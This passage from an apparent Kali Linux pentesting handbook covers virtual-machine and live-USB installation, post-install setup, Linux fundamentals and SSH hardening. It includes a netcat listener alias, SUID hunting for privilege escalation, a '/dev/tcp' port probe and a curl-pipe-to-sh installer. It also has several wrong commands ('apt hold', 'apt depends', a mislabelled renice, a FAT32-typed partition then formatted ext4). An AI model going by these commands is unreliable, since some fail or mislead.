Memory: 4096 MB (minimum)
Hard disk: Create virtual disk now
  - Type: VDI
  - Storage: Dynamically allocated
  - Size: 60 GB

Configuration Optimizations:

# System settings
Processors: 2-4 cores
Enable PAE/NX
Enable VT-x/AMD-V
Enable Nested Paging

# Display settings
Video Memory: 128 MB
Enable 3D Acceleration
Graphics Controller: VBoxSVGA

# Storage settings
Controller: SATA with SSD checkbox
Add optical drive with Kali ISO

# Network settings
Adapter 1: NAT (internet access)
Adapter 2: Host-only (lab network)

Installation Process:

  1. Mount ISO:

    • Attach Kali ISO to optical drive
    • Boot VM
  2. Install Kali:

    • Follow standard installation
    • Choose appropriate options
    • Install VirtualBox Guest Additions afterward
  3. Guest Additions Installation:

# After first boot
apt update
apt install -y linux-headers-$(uname -r) build-essential dkms

# Mount Guest Additions ISO from VirtualBox menu
mount /dev/cdrom /mnt
cd /mnt
./VBoxLinuxAdditions.run
reboot

Post-Installation Tweaks:

# Enable shared clipboard
# Devices > Shared Clipboard > Bidirectional

# Create shared folders
# Devices > Shared Folders > Add
mkdir /mnt/shared
mount -t vboxsf shared /mnt/shared

# Enable drag and drop
# Devices > Drag and Drop > Bidirectional

2.5.2 VMware Workstation Installation

VMware-Specific Setup:

  1. Create New Virtual Machine:
Hardware Compatibility: Workstation 16.x
Guest OS: Linux
Version: Debian 11.x 64-bit
Memory: 4096 MB
Network: NAT
I/O Controller: LSI Logic
Virtual Disk: 60 GB, split into files
  1. VM Settings Optimization:
Processors: 2-4 cores
Virtualize Intel VT-x/EPT
Memory: Reserve all memory
Display: Accelerate 3D graphics
Floppy: Remove (not needed)
USB: USB 3.0 support

VMware Tools Installation:

# Install prerequisites
apt update
apt install -y open-vm-tools-desktop

# Enhanced functionality
- Clipboard sharing
- Drag and drop
- Folder sharing
- Better display resolution
- Time synchronization

Network Configuration for Labs:

# Create custom networks
# VMnet2: Host-only (192.168.100.0/24)
# VMnet3: Host-only (192.168.200.0/24)

# Add network adapters
# Adapter 1: NAT (internet)
# Adapter 2: Custom VMnet2
# Adapter 3: Custom VMnet3

2.5.3 Proxmox VE Installation

Proxmox provides enterprise-grade virtualization for lab environments:

Create Kali Template:

  1. Download ISO to Proxmox:
cd /var/lib/vz/template/iso
wget https://kali.org/get-kali/kali-linux-2024.1-installer-amd64.iso
  1. Create VM:
VM ID: 100
Name: kali-template
OS: Linux
ISO: kali-linux-2024.1-installer-amd64.iso
SCSI Controller: VirtIO SCSI
CPU: 2 cores
Memory: 4096 MB
Network: VirtIO
Disk: 60 GB
  1. Install Kali:

    • Standard installation
    • Install QEMU Guest Agent
    • Configure for template use
  2. Convert to Template:

# After installation, convert to template
qm template 100

# Clone for new instances
qm clone 100 101 --name kali-pentest

Proxmox Advantages:

  • Centralized management
  • Snapshot and rollback
  • Backup integration
  • Resource pooling
  • Network flexibility

2.6 Live USB & Persistence

Live USB installations provide portability and flexibility.

2.6.1 Creating Live USB

Linux Method (dd):

# Identify USB device
lsblk
# Assume USB is /dev/sdb

# Write ISO to USB (careful with device name!)
sudo dd if=kali-linux-2024.1-live-amd64.iso of=/dev/sdb bs=4M status=progress oflag=sync

# Alternative using balenaEtcher (GUI)
# Or using cp
sudo cp kali-linux-2024.1-live-amd64.iso /dev/sdb
sync

Windows Method (Rufus):

  1. Download Rufus from https://rufus.ie/

  2. Configure Rufus:

    • Device: Select USB drive
    • Boot selection: Kali ISO
    • Partition scheme: MBR or GPT
    • Target system: BIOS or UEFI
    • File system: Large FAT32
  3. Write Options:

    • Check device for bad blocks (optional)
    • Create extended label
    • Write in ISO Image mode

macOS Method:

# Identify USB device
diskutil list
# Assume USB is /dev/disk2

# Unmount (but don't eject)
diskutil unmountDisk /dev/disk2

# Write ISO
sudo dd if=kali-linux-2024.1-live-amd64.iso of=/dev/rdisk2 bs=1m

# Eject when done
diskutil eject /dev/disk2

2.6.2 Persistence Configuration

Persistence allows saving data across reboots on live USB:

Creating Persistence Partition:

# After writing live ISO, repartition USB
# Use fdisk or parted to create new partition

sudo fdisk /dev/sdb
# Create new partition (n)
# Use remaining space (defaults)
# Set type to W95 FAT32 (LBA) (t, then c)
# Write changes (w)

# Format persistence partition
sudo mkfs.ext4 -L persistence /dev/sdb3

# Create persistence.conf
sudo mkdir -p /mnt/usb
sudo mount /dev/sdb3 /mnt/usb
echo "/ union" | sudo tee /mnt/usb/persistence.conf
sudo umount /mnt/usb

Encrypted Persistence:

# Create encrypted persistence
sudo cryptsetup --verbose --verify-passphrase luksFormat /dev/sdb3
sudo cryptsetup luksOpen /dev/sdb3 my_usb

# Format as ext4
sudo mkfs.ext4 /dev/mapper/my_usb
sudo mount /dev/mapper/my_usb /mnt/usb
echo "/ union" | sudo tee /mnt/usb/persistence.conf
sudo umount /mnt/usb
sudo cryptsetup luksClose my_usb

Using Persistence:

  • Boot from USB
  • Select "Live USB Persistence" from boot menu
  • Data saved to persistence partition

2.7 ARM Installation

Kali on ARM devices expands testing capabilities to embedded systems.

2.7.1 Raspberry Pi Installation

Supported Models:

  • Raspberry Pi 2, 3, 4, 5
  • Raspberry Pi 400
  • Raspberry Pi Zero 2 W
  • Compute Module 3/4

Download ARM Image:

# From Kali website
wget https://kali.org/get-kali/kali-linux-2024.1-raspberry-pi-arm64.img.xz

# Extract
xz -d kali-linux-2024.1-raspberry-pi-arm64.img.xz

Write to SD Card:

# Identify SD card (usually /dev/mmcblk0 or /dev/sdb)
lsblk

# Write image
sudo dd if=kali-linux-2024.1-raspberry-pi-arm64.img of=/dev/mmcblk0 bs=4M status=progress

# Expand filesystem on first boot (auto-resize)

First Boot Configuration:

# Default credentials
# Username: kali
# Password: kali

# Change password immediately
passwd

# Update system
apt update && apt full-upgrade -y

# Configure Wi-Fi (if needed)
nano /etc/wpa_supplicant/wpa_supplicant.conf

Raspberry Pi-Specific Tools:

# GPIO control
apt install -y wiringpi

# Camera module
apt install -y raspicam

# Hardware monitoring
apt install -y raspi-gpio

# I2C and SPI
raspi-config
# Enable interfaces under Interface Options

2.7.2 Other ARM Devices

BeagleBone Black:

# Download specific image
wget https://kali.org/get-kali/kali-linux-2024.1-beaglebone-black-armhf.img.xz

# Write to microSD
xz -d kali-linux-2024.1-beaglebone-black-armhf.img.xz
sudo dd if=kali-linux-2024.1-beaglebone-black-armhf.img of=/dev/mmcblk0 bs=1M status=progress

Odroid:

# Different models require different images
# Odroid U2/U3
wget https://kali.org/get-kali/kali-linux-2024.1-odroid-u2-armhf.img.xz

# Odroid XU3/XU4
wget https://kali.org/get-kali/kali-linux-2024.1-odroid-xu3-armhf.img.xz

Pine64:

# Pinebook Pro
wget https://kali.org/get-kali/kali-linux-2024.1-pinebook-pro-arm64.img.xz

# PinePhone
wget https://kali.org/get-kali/kali-linux-2024.1-pinephone-arm64.img.xz

2.8 Post-Installation Configuration

After installing Kali, proper configuration ensures optimal performance and usability.

2.8.1 Initial System Update

# Update package lists
apt update

# Upgrade all packages
apt full-upgrade -y

# Clean up unnecessary packages
apt autoremove -y
apt autoclean

# Check kernel version (should be latest)
uname -a

2.8.2 Network Configuration

Static IP Configuration:

# Edit network configuration
nano /etc/network/interfaces

# For static IP (example)
auto eth0
iface eth0 inet static
    address 192.168.1.100
    netmask 255.255.255.0
    gateway 192.168.1.1
    dns-nameservers 8.8.8.8 8.8.4.4

# Restart networking
systemctl restart networking

NetworkManager Usage:

# List connections
nmcli connection show

# Add static connection
nmcli connection add type ethernet con-name static-lab ifname eth0 ip4 192.168.56.100/24 gw4 192.168.56.1

# Modify existing
nmcli connection mod "Wired connection 1" ipv4.dns "8.8.8.8"

Wi-Fi Configuration:

# List available networks
iwconfig
nmcli device wifi list

# Connect to network
nmcli device wifi connect "SSID" password "password"

# Create configuration file
wpa_passphrase "SSID" "password" | sudo tee /etc/wpa_supplicant.conf

2.8.3 User Management

Add New User:

# Create user
useradd -m -s /bin/bash analyst
passwd analyst

# Add to sudo group
usermod -aG sudo analyst

# Copy configuration files
cp -r /etc/skel/. /home/analyst/
chown -R analyst:analyst /home/analyst

Secure Root Access:

# Disable root SSH login
sed -i 's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
systemctl restart ssh

# Use sudo for privileged commands
# Add user to sudo group as above

2.8.4 SSH Hardening

SSH Configuration Security:

# Edit SSH config
nano /etc/ssh/sshd_config

# Security settings
Port 2222  # Change from default
Protocol 2
PermitRootLogin prohibit-password
PubkeyAuthentication yes
PasswordAuthentication no
AllowUsers analyst
MaxAuthTries 3
MaxSessions 2
ClientAliveInterval 300
ClientAliveCountMax 2

# Restart SSH
systemctl restart sshd

SSH Key Setup:

# On client, generate key
ssh-keygen -t ed25519 -C "kali-analyst"

# Copy to Kali
ssh-copy-id -p 2222 analyst@kali-ip

# Test login
ssh -p 2222 analyst@kali-ip

2.8.5 Desktop Environment Customization

Default Desktop (Xfce):

# Install additional themes
apt install -y kali-themes-gtk

# Install icons
apt install -y kali-icons

# Configure panel
# Right-click panel > Panel Preferences
# Add/remove items as desired

# Install additional plugins
apt install -y xfce4-goodies

Terminal Customization:

# Install ZSH and Oh-My-Zsh
apt install -y zsh git
sh -c "$(curl -fsSL https://raw.github.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"

# Install Powerlevel10k theme
git clone --depth=1 https://github.com/romkatv/powerlevel10k.git ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k

# Set ZSH as default
chsh -s /bin/zsh

Useful Aliases:

# Add to .bashrc or .zshrc
echo 'alias nmap-scan="nmap -sV -sC -O"' >> ~/.zshrc
echo 'alias update="sudo apt update && sudo apt upgrade -y"' >> ~/.zshrc
echo 'alias myip="curl ifconfig.me"' >> ~/.zshrc
echo 'alias listen="sudo nc -lvnp"' >> ~/.zshrc
echo 'alias webshare="python3 -m http.server 80"' >> ~/.zshrc

2.8.6 Tool Installation and Management

Install Metapackages:

# Install wireless tools
apt install -y kali-linux-wireless

# Install web testing tools
apt install -y kali-linux-web

# Install password tools
apt install -y kali-linux-pwt

# Install all tools
apt install -y kali-linux-large

Custom Tool Installation:

# Create tools directory
mkdir -p ~/tools
cd ~/tools

# Clone GitHub repositories
git clone https://github.com/toolname/tool.git
cd tool
python3 setup.py install

# Add to PATH if needed
echo 'export PATH=$PATH:~/tools/tool' >> ~/.zshrc

2.8.7 Backup and Restore

Configuration Backup:

# Backup important configs
tar -czf kali-config-backup.tar.gz ~/.bashrc ~/.zshrc ~/.ssh /etc/network/interfaces

# Backup installed packages list
dpkg --get-selections > package-list.txt

# Backup custom tools
tar -czf custom-tools.tar.gz ~/tools/

Restore from Backup:

# Restore configs
tar -xzf kali-config-backup.tar.gz -C /

# Restore packages
dpkg --set-selections < package-list.txt
apt-get dselect-upgrade

# Restore tools
tar -xzf custom-tools.tar.gz -C ~/

Chapter 3 — Linux Fundamentals for Security Professionals

3.1 Linux File System Hierarchy

Understanding the Linux filesystem is crucial for effective penetration testing and system navigation.

3.1.1 Root Directory Structure

The Linux filesystem follows the Filesystem Hierarchy Standard (FHS), which defines the purpose of each directory:

/ (Root)
├── /bin - Essential command binaries
├── /boot - Boot loader files and kernel
├── /dev - Device files
├── /etc - System configuration files
├── /home - User home directories
├── /lib - Essential shared libraries
├── /media - Mount points for removable media
├── /mnt - Temporary mount points
├── /opt - Optional application software
├── /proc - Virtual filesystem for process info
├── /root - Root user home directory
├── /sbin - System administration binaries
├── /srv - Service data
├── /sys - Virtual filesystem for system info
├── /tmp - Temporary files
├── /usr - User binaries and read-only data
└── /var - Variable data files

3.1.2 Critical Directories for Security Professionals

/etc - Configuration Files:

# Important configuration files
/etc/passwd      # User account information
/etc/shadow      # Encrypted passwords
/etc/group       # Group definitions
/etc/hosts       # Static hostname lookup
/etc/resolv.conf # DNS configuration
/etc/network/    # Network configuration
/etc/ssh/        # SSH configuration
/etc/sudoers     # Sudo privileges

/var - Variable Data:

# Important variable data locations
/var/log/        # System logs
/var/log/auth.log # Authentication logs
/var/log/syslog  # System logs
/var/log/apache2/ # Web server logs
/var/www/        # Web server files
/var/tmp/        # Persistent temporary files

/proc - Process Information:

# Process information examples
/proc/cpuinfo    # CPU information
/proc/meminfo    # Memory information
/proc/version    # Kernel version
/proc/net/       # Network information
/proc/[PID]/     # Process-specific information
/proc/self/      # Current process info

/dev - Device Files:

# Important device files
/dev/sda         # First SATA/SCSI disk
/dev/sda1        # First partition on first disk
/dev/tty         # Terminal devices
/dev/null        # Data sink (discard data)
/dev/zero        # Zero stream
/dev/random      # Random number generator

3.2 Users, Groups & Permissions

Understanding user and group management is fundamental for both system administration and privilege escalation.

3.2.1 User Management

User Types:

# Root user (UID 0)
# System users (UID 1-999)
# Regular users (UID 1000+)

# View current user
whoami
id

# List all users
cat /etc/passwd

# List logged-in users
who
w
last

User Management Commands:

# Add user
useradd -m -s /bin/bash john
passwd john

# Add user with specific UID
useradd -u 1500 -m -s /bin/bash jane

# Modify user
usermod -aG sudo john  # Add to group
usermod -L john        # Lock account
usermod -U john        # Unlock account

# Delete user
userdel -r john        # Remove with home directory

User Information Files:

# /etc/passwd format
# username:password:UID:GID:comment:home:shell
root:x:0:0:root:/root:/bin/bash

# /etc/shadow format
# username:encrypted password:last change:min:max:warn:inactive:expire
root:$6$salt$encrypted:18765:0:99999:7:::

# /etc/group format
# groupname:password:GID:memberlist
sudo:x:27:john,jane

3.2.2 Group Management

Group Commands:

# Create group
groupadd developers

# Create group with specific GID
groupadd -g 2000 devops

# Modify group
groupmod -n developers devs  # Rename group

# Delete group
groupdel developers

# Add user to group
usermod -aG developers john

# Remove user from group
gpasswd -d john developers

# List user groups
groups john
id john

Primary vs Secondary Groups:

  • Primary group: Default group for new files
  • Secondary groups: Additional group memberships
  • Files created inherit primary group
  • Can access files based on secondary groups

3.3 File Permissions & ACLs

Mastering file permissions is essential for understanding security and privilege escalation.

3.3.1 Basic Permissions

Permission Types:

  • r (4) - Read
  • w (2) - Write
  • x (1) - Execute

Permission Categories:

  • u - User (owner)
  • g - Group
  • o - Others
  • a - All

Viewing Permissions:

# List with permissions
ls -l
-rwxr-xr-- 1 john developers 1024 Jan 1 12:34 script.sh

# Breakdown:
# -: file type (d directory, l link, - file)
# rwx: user permissions
# r-x: group permissions
# r--: others permissions
# 1: number of hard links
# john: owner
# developers: group
# 1024: size
# Jan 1 12:34: modification date
# script.sh: filename

Changing Permissions:

# Symbolic mode
chmod u+x script.sh     # Add execute for user
chmod g-w script.sh     # Remove write for group
chmod o=r script.sh     # Set others to read-only
chmod a+x script.sh     # Add execute for all

# Numeric mode
chmod 755 script.sh     # rwxr-xr-x
chmod 644 file.txt      # rw-r--r--
chmod 600 private.key   # rw-------
chmod 777 dangerous.sh  # rwxrwxrwx (avoid!)

# Recursive changes
chmod -R 755 /path/to/directory

Changing Ownership:

# Change owner
chown john script.sh

# Change group
chown :developers script.sh

# Change both
chown john:developers script.sh

# Recursive
chown -R john:developers /home/john

3.3.2 Special Permissions

SUID (Set User ID) - 4000:

  • Executes with owner's privileges
  • Security risk when misconfigured
  • Find SUID files for privilege escalation
# Set SUID
chmod u+s program
chmod 4755 program

# Find SUID files
find / -perm -4000 2>/dev/null
find / -type f -perm -04000 -ls 2>/dev/null

# Examples
-rwsr-xr-x 1 root root /usr/bin/passwd
-rwsr-xr-x 1 root root /bin/su

SGID (Set Group ID) - 2000:

  • Executes with group privileges
  • New files inherit group
  • Important for shared directories
# Set SGID
chmod g+s directory
chmod 2755 directory

# Find SGID files
find / -perm -2000 2>/dev/null

# Examples
-rwxr-sr-x 1 root shadow /usr/bin/expiry
drwxrwsr-x 2 root staff /usr/local/share

Sticky Bit - 1000:

  • Only owner can delete/rename files
  • Used on /tmp directory
# Set sticky bit
chmod +t directory
chmod 1777 directory

# Check sticky bit
ls -ld /tmp
# drwxrwxrwt 20 root root 4096 Jan 1 /tmp

# Find sticky directories
find / -type d -perm -1000 2>/dev/null

3.3.3 Access Control Lists (ACLs)

ACLs provide fine-grained permissions beyond traditional Unix permissions:

Viewing ACLs:

# Install ACL tools
apt install -y acl

# View ACL
getfacl file.txt
# file: file.txt
# owner: john
# group: developers
# user::rw-
# user:jane:r--
# group::r--
# mask::r--
# other::r--

Setting ACLs:

# Grant specific user access
setfacl -m u:jane:rw file.txt

# Grant specific group access
setfacl -m g:devops:rx directory/

# Remove specific entry
setfacl -x u:jane file.txt

# Remove all ACLs
setfacl -b file.txt

# Set default ACLs for directory
setfacl -d -m u:jane:rwx directory/

Important ACL Considerations:

  • ACLs add complexity
  • Backward compatible with standard permissions
  • Can impact performance on many files
  • Use ls -l shows '+' for ACLs

3.4 Process Management

Understanding processes is crucial for system monitoring, exploitation, and privilege escalation.

3.4.1 Process Basics

Process States:

  • R - Running or runnable
  • S - Interruptible sleep
  • D - Uninterruptible sleep
  • Z - Zombie (defunct)
  • T - Stopped
  • t - Tracing stop

Viewing Processes:

# List processes
ps aux
ps -ef

# Process tree
pstree
ps auxf

# Show specific user processes
ps -u john

# Show process by name
pgrep -l apache2
ps -C apache2

Top/htop:

# Install htop
apt install -y htop

# Interactive process viewer
top
htop

# Batch mode
top -b -n 1 > top_output.txt

# Show specific user
top -u john

3.4.2 Process Management Commands

Signals:

# Common signals
# 1: SIGHUP - Hangup (reload)
# 2: SIGINT - Interrupt (Ctrl+C)
# 9: SIGKILL - Kill (force)
# 15: SIGTERM - Terminate (graceful)

# Send signals
kill -15 PID
kill -9 PID
killall -9 process_name
pkill -9 process_name

# Send signal by name
pkill -HUP apache2
killall -TERM firefox

Process Priority:

# View priority (NI value: -20 to 19, lower = higher priority)
ps -eo pid,ni,cmd

# Start with specific priority
nice -n 10 command
nice -10 command  # Lower priority

# Change priority of running process
renice -n 5 -p PID
renice +5 -p PID  # Increase priority

Background/Foreground:

# Run in background
command &
command &> /dev/null &

# Suspend process (Ctrl+Z)
# List jobs
jobs

# Bring to foreground
fg %1

# Run in background
bg %1

# Disown from shell
disown %1

3.4.3 Monitoring and Debugging

System Monitoring:

# System load
uptime
w

# Memory usage
free -h
vmstat 1 10

# I/O statistics
iostat -x 1
iotop

# Network connections
netstat -tulpn
ss -tulpn
lsof -i

Process Details:

# Process information from /proc
cat /proc/PID/cmdline
cat /proc/PID/environ
ls -l /proc/PID/fd/

# Open files by process
lsof -p PID
lsof -c process_name

# Memory maps
cat /proc/PID/maps
pmap PID

3.5 Package Management (APT & DPKG)

Kali uses Debian's package management system, essential for tool installation and system maintenance.

3.5.1 APT (Advanced Package Tool)

Repository Configuration:

# Sources list
cat /etc/apt/sources.list

# Kali repositories
deb https://http.kali.org/kali kali-rolling main non-free contrib
deb-src https://http.kali.org/kali kali-rolling main non-free contrib

# Add repository (be careful with non-Kali repos!)
echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" | sudo tee /etc/apt/sources.list

Basic APT Commands:

# Update package lists
apt update

# Upgrade all packages
apt upgrade
apt full-upgrade  # Handles dependency changes

# Install packages
apt install package-name
apt install -y package-name  # Auto-yes

# Remove packages
apt remove package-name
apt purge package-name  # Remove with configs
apt autoremove  # Remove unused dependencies

# Search packages
apt search keyword
apt show package-name

# List installed
apt list --installed
apt list --upgradable

Advanced APT Usage:

# Download without installing
apt download package-name

# Show package dependencies
apt depends package-name
apt rdepends package-name

# Clean cache
apt clean
apt autoclean

# Fix broken dependencies
apt --fix-broken install

# Hold packages (prevent upgrades)
apt hold package-name
apt unhold package-name

3.5.2 DPKG (Debian Package Manager)

Basic DPKG Commands:

# Install local .deb file
dpkg -i package.deb

# Remove package
dpkg -r package-name
dpkg -P package-name  # Purge with configs

# List installed
dpkg -l
dpkg -l | grep pattern

# Package information
dpkg -s package-name
dpkg -p package.deb

# List files in package
dpkg -L package-name

# Find package owning file
dpkg -S /path/to/file

Package Reconfiguration:

# Reconfigure installed package
dpkg-reconfigure package-name

# Verify package integrity
dpkg --verify package-name
debsums package-name  # Install debsums first

3.5.3 Troubleshooting Package Issues

Common Problems:

# Fix interrupted installs
dpkg --configure -a

# Force install (careful!)
dpkg -i --force-all package.deb

# Hold broken package
echo "package-name hold" | dpkg --set-selections

# Clear stuck packages
rm /var/lib/dpkg/info/package-name.*
dpkg --remove --force-remove-reinstreq package-name

3.6 Networking Basics in Linux

Network fundamentals are critical for penetration testing and system administration.

3.6.1 Network Configuration

Interface Management:

# List interfaces
ip link show
ifconfig -a

# Enable/disable interface
ip link set eth0 up
ip link set eth0 down
ifconfig eth0 up

# View IP addresses
ip addr show
ifconfig

# Add IP address
ip addr add 192.168.1.100/24 dev eth0
ifconfig eth0 192.168.1.100 netmask 255.255.255.0

Routing:

# View routing table
ip route show
route -n

# Add default gateway
ip route add default via 192.168.1.1
route add default gw 192.168.1.1

# Add static route
ip route add 10.0.0.0/24 via 192.168.1.254
route add -net 10.0.0.0 netmask 255.255.255.0 gw 192.168.1.254

# Delete route
ip route del 10.0.0.0/24
route del -net 10.0.0.0/24

DNS Configuration:

# DNS servers
cat /etc/resolv.conf
# nameserver 8.8.8.8
# nameserver 8.8.4.4

# Test DNS
nslookup example.com
dig example.com
host example.com

# Query specific DNS server
dig @8.8.8.8 example.com
nslookup example.com 8.8.8.8

3.6.2 Network Diagnostics

Connectivity Testing:

# Ping test
ping -c 4 8.8.8.8
ping -c 4 google.com

# Traceroute
traceroute google.com
mtr google.com  # Combined ping/traceroute

# Path MTU discovery
tracepath google.com

Port Connectivity:

# Test TCP port
nc -zv google.com 80
nc -zvw 3 target.com 1-1000  # Port range
telnet target.com 80

# Test UDP port
nc -zuv target.com 53

# Using /dev/tcp (bash)
echo >/dev/tcp/google.com/80 && echo "Port open"

Bandwidth Testing:

# iperf3 (server/client)
iperf3 -s  # Server
iperf3 -c server-ip  # Client

# Speed test CLI
speedtest-cli

3.6.3 Advanced Networking

Network Namespaces:

# Create namespace
ip netns add test-ns

# List namespaces
ip netns list

# Execute command in namespace
ip netns exec test-ns ip addr

# Add veth pair
ip link add veth0 type veth peer name veth1
ip link set veth1 netns test-ns

Bonding and Teaming:

# Install bonding module
modprobe bonding

# Create bond interface
ip link add bond0 type bond mode 802.3ad
ip link set eth0 master bond0
ip link set eth1 master bond0

3.7 Bash Shell Mastery

Proficiency with Bash is essential for efficient penetration testing and automation.

3.7.1 Command Line Efficiency

Navigation:

# Directory navigation
cd ~        # Home directory
cd -        # Previous directory
cd ..       # Parent directory

# Directory stack
pushd /tmp  # Push and go to directory
popd        # Return to previous
dirs        # Show stack

Command History:

# History commands
history
!!          # Run last command
!100        # Run command #100
!nmap       # Run last nmap command
!$          # Last argument of previous command

# Search history
Ctrl+R      # Reverse search
history | grep nmap

Command Substitution:

# Command substitution
echo "Today is $(date)"
echo "Files: $(ls | wc -l)"

# Backticks (older style)
echo "Hostname: `hostname`"

3.7.2 Input/Output Redirection

Standard Streams:

# stdin (0), stdout (1), stderr (2)

# Redirect output
command > file.txt      # stdout to file
command 2> errors.txt   # stderr to file
command &> all.txt      # both to file

# Append
command >> file.txt     # Append stdout
command 2>> errors.txt  # Append stderr

# Redirect input
command < input.txt
command << EOF
multiline
input
EOF

# Pipes
command1 | command2
command1 2>&1 | command2  # Pipe both stdout and stderr

Process Substitution:

# Process substitution
diff <(ls dir1) <(ls dir2)
while read line; do echo $line; done < <(command)

3.7.3 Variables and Environment

Variable Types:

# Local variables
name="John"
echo $name

# Environment variables
export PATH=$PATH:/custom/path
export EDITOR=vim

# Special variables
$0          # Script name
$1, $2...   # Script arguments
$#          # Number of arguments
$@          # All arguments
$?          # Exit status of last command
$$          # Process ID
$!          # PID of last background command

Variable Operations:

# Default values
${var:-default}      # Use default if var unset
${var:=default}      # Set default if var unset
${var:?error}        # Error if var unset
${var:+alternate}    # Use alternate if var set

# String manipulation
${#var}              # String length
${var:offset:length} # Substring
${var#pattern}       # Remove shortest prefix
${var##pattern}      # Remove longest prefix
${var%pattern}       # Remove shortest suffix
${var%%pattern}      # Remove longest suffix
${var/old/new}       # Replace first match
${var//old/new}      # Replace all matches

3.7.4 Arrays and Loops

Arrays:

# Array declaration
fruits=("apple" "banana" "orange")
numbers=(1 2 3 4 5)

# Access elements
echo ${fruits[0]}     # First element
echo ${fruits[@]}     # All elements
echo ${#fruits[@]}    # Array length

# Array operations
fruits+=("grape")     # Append
unset fruits[1]       # Remove element

# Associative arrays (Bash 4+)
declare -A user
user[name]="John"
user[age]=30

Loops:

# For loop
for i in {1..5}; do
    echo "Number: $i"
done

# C-style for
for ((i=0; i<5; i++)); do
    echo $i
done

# While loop
count=1
while [ $count -le 5 ]; do
    echo $count
    ((count++))
done

# Until loop
count=1
until [ $count -gt 5 ]; do
    echo $count
    ((count++))
done

# Loop over files
for file in *.txt; do
    echo "Processing: $file"
done

# Loop with command output
while read line; do
    echo $line
done < <(ls -la)

3.7.5 Conditionals and Tests

Test Constructs:

# if statement
if [ condition ]; then
    commands
elif [ condition2 ]; then
    commands
else
    commands
fi

# File tests
[ -f file ]   # Is regular file
[ -d dir ]    # Is directory
[ -x file ]   # Is executable
[ -r file ]   # Is readable
[ -w file ]   # Is writable
[ -s file ]   # Size > 0
[ -e file ]   # File exists

# String tests
[ "$str1" = "$str2" ]   # Equal
[ "$str1" != "$str2" ]  # Not equal
[ -z "$str" ]            # Empty string
[ -n "$str" ]            # Non-empty string

# Numeric tests
[ $a -eq $b ]   # Equal
[ $a -ne $b ]   # Not equal
[ $a -gt $b ]   # Greater than
[ $a -ge $b ]   # Greater or equal
[ $a -lt $b ]   # Less than
[ $a -le $b ]   # Less or equal

# Logical operators
[ cond1 -a cond2 ]  # AND
[ cond1 -o cond2 ]  # OR
! [ cond ]          # NOT

# Double brackets (Bash-specific)
[[ $str == pattern ]]   # Pattern matching
[[ $str =~ regex ]]     # Regex matching

3.7.6 Functions

Function Definition:

# Function syntax
function_name() {
    commands
    return value  # Optional return
}

# Alternative
function function_name {
    commands
}

# Call function
function_name arg1 arg2

Function Examples:

# Function with parameters
greet() {
    echo "Hello, $1!"
    return 0
}

# Function with local variables
process_file() {
    local file="$1"
    local count=$(wc -l < "$file")
    echo "$file has $count lines"
}

# Function returning value
is_root() {
    if [ $EUID -eq 0 ]; then
        return 0  # True
    else
        return 1  # False
    fi
}

if is_root; then
    echo "Running as root"
fi

3.8 SSH Configuration & Hardening

Secure Shell is essential for remote administration and penetration testing.

3.8.1 SSH Client Usage

Basic Connections:

# Basic SSH
ssh user@hostname
ssh -p 2222 user@hostname  # Custom port
ssh -l username hostname

# SSH with key
ssh -i ~/.ssh/id_rsa user@hostname

# Verbose (debugging)
ssh -vvv user@hostname

# Command execution
ssh user@hostname 'ls -la'
ssh user@hostname 'command1; command2'

SSH Config File (~/.ssh/config):

# Host-specific configuration
Host kali-lab
    HostName 192.168.1.100
    User analyst
    Port 2222
    IdentityFile ~/.ssh/kali-key

# Wildcard configuration
Host *.lab.local
    User analyst
    ForwardAgent no

# Jump host configuration
Host target
    HostName 10.0.0.10
    User admin
    ProxyJump jump-host

SSH Tunneling:

# Local port forwarding
# Access internal service via SSH
ssh -L 8080:internal:80 user@gateway

# Remote port forwarding
# Expose local service externally
ssh -R 8080:localhost:80 user@public-server

# Dynamic port forwarding (SOCKS proxy)
ssh -D 1080 user@gateway
# Configure browser to use localhost:1080 as SOCKS proxy

# Multiple tunnels
ssh -L 8080:web:80 -L 3389:rdp:3389 user@gateway

SSH Agent:

# Start agent
eval $(ssh-agent)

# Add key
ssh-add ~/.ssh/id_rsa
ssh-add -l  # List keys
ssh-add -d  # Delete key

# Agent forwarding
ssh -A user@host
# In SSH config: ForwardAgent yes

3.8.2 SSH Server Configuration

Server Configuration (/etc/ssh/sshd_config):

# Basic settings
Port 22
Protocol 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_ecdsa_key

# Authentication
PermitRootLogin prohibit-password
PubkeyAuthentication yes
PasswordAuthentication no
ChallengeResponseAuthentication no
UsePAM yes

# Access control
AllowUsers analyst john
AllowGroups sshusers
DenyUsers root bin
DenyGroups guests

# Security settings
MaxAuthTries 3
MaxSessions 10
LoginGraceTime 30
PermitEmptyPasswords no
ClientAliveInterval 300
ClientAliveCountMax 2

# Forwarding
AllowTcpForwarding yes
X11Forwarding no
AllowAgentForwarding no

Key Management:

# Generate server keys
ssh-keygen -t rsa -b 4096 -f /etc/ssh/ssh_host_rsa_key
ssh-keygen -t ecdsa -b 521 -f /etc/ssh/ssh_host_ecdsa_key
ssh-keygen -t ed25519 -f /etc/ssh/ssh_host_ed25519_key

# Regenerate keys (if compromised)
rm /etc/ssh/ssh_host_*
dpkg-reconfigure openssh-server

SSH Security Hardening:

# Disable weak algorithms
# In sshd_config
KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com
MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,umac-128-etm@openssh.com

# Set up fail2ban
apt install fail2ban
cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
# Configure SSH jail
systemctl enable fail2ban
systemctl start fail2ban

# Use port knocking (optional)
apt install knockd
# Configure knockd.conf for SSH access sequence

3.8.3 SSH Troubleshooting

Common Issues:

# Check SSH service
systemctl status ssh
netstat -tlnp | grep :22

# Check logs
tail -f /var/log/auth.log
journalctl -u ssh -f

# Test connectivity
ssh -v user@host
ssh -T user@host  # Test without shell

# Check permissions
chmod 700 ~/.ssh
chmod 600 ~/.ssh/id_rsa
chmod 644 ~/.ssh/id_rsa.pub
chmod 600 ~/.ssh/authorized_keys
chmod 644 ~/.ssh/config

SSH Key Troubleshooting:

# Debug key issues
ssh -v -i key user@host
ssh-keygen -y -f private.key  # Verify private key

# Convert key formats
